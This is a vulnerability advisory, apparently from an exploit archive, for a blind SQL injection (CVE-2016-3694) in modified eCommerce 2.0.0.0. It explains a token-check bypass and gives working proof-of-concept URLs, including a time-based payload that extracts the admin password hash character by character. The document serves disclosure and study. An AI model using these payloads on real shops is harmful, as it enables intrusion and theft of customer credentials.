modified eCommerce Shopsoftware 2.0.0.0 rev 9678 – Blind SQL Injection
# Title: Blind Injection modified eCommerce 2.0.0.0 rev 9678 # Date: 16.04.2016 # Category: webapps # Vendor Homepage: http://www.modified-shop.org/download # Software Link: http://www.modified-shop.org/forum/index.php?action=downloads;sa=downfile&id=96 # Version: 2.0.0.0 rev 9678 # Tested on: Apache/2.4.7, PHP Version 5.5.9, Linux # Exploit Author: Felix Maduakor # Contact: Felix.Maduakor@rub.de # CVE: CVE-2016-3694 Product Description: modified eCommerce is an Open Source shopsoftware Vulnerability Details: Attackable are the GET-parameters 'orders_status' and 'customers_status' through 'easybillcsv.php': File: [shoproot]/api/easybill/easybillcsv.php [24] if (isset($_GET['token']) && $_GET['token'] == MODULE_EASYBILL_CSV_CRON_TOKEN) { [25-61] ... [62] } else { [63] die('Direct Access to this location is not allowed.'); As default option the easybill-module is not installed and the constant MODULE_EASYBILL_CSV_CRON_TOKEN is not set. As long as the easybill-module is not installed, it is possible to bypass the restriction: [Shoproot]/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN [35] if (count($_GET['orders_status']) > 0) { [36] $_GET['orders_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['orders_status']); [37] $orders_status = explode(',', $_GET['orders_status']); [38] $module->from_orders_status = implode("', '", $orders_status); [39] } [43] if (isset($_GET['customers_status'])) { [44] $_GET['customers_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['customers_status']); [45] $customers_status = explode(',', $_GET['customers_status']); [46] $module->from_customers_status = implode("', '", $customers_status); [47] } As you can see in lines 35-39 and 43-47 the GET-parameters 'orders_status' and 'customers_status' are not escaped, but formatted (removed whitespaces, replaced commas with "', '"). They will be set as local variables of the "$module"-object. File: [shoproot][admin-folder]/includes/modules/system/easybillcsv.php [63] $export_query = xtc_db_query("SELECT DISTINCT o.orders_id [64] FROM ".TABLE_ORDERS." o [65] JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh [66] ON o.orders_id = osh.orders_id [67] WHERE (o.orders_status IN ('" . $this->from_orders_status . "') [68] OR osh.orders_status_id IN ('" . $this->from_orders_status . "')) [69] AND (o.last_modified >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "' [70] OR o.date_purchased >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "') [71] AND o.customers_status IN ('" . $this->from_customers_status . "') [72] ORDER BY o.orders_id"); The unescaped GET-parameters get placed in the query on line 67, 68 and 71. Through the ORDER BY statement (with the explicit table-references) it is not possible to use a union-based injection. The injection cannot include whitespaces or commas. POC [Proof of Concept]: http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or-sleep(5)/*&customers_status=*/%23 Will result in following query and execute the sleep-function for 5 seconds: SELECT DISTINCT o.orders_id FROM ".TABLE_ORDERS." o JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh ON o.orders_id = osh.orders_id WHERE (o.orders_status IN ('-111'))or-sleep(5)/* long comment */#comment ORDER BY o.orders_id There are multiple ways to bypass the whitespace/comma-filter. A possible way to check if the first character of the admin-hash is '$' would be: http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or(Select(case(36)when(ascii(substring(`customers_password`FROM(1)FOR(1))))then-sleep(5)End)from`customers`where`customers_id`=1)/*&customers_status=*/%23 Timeline ----- [16.04.2016] Reporting vulnerability to vendor |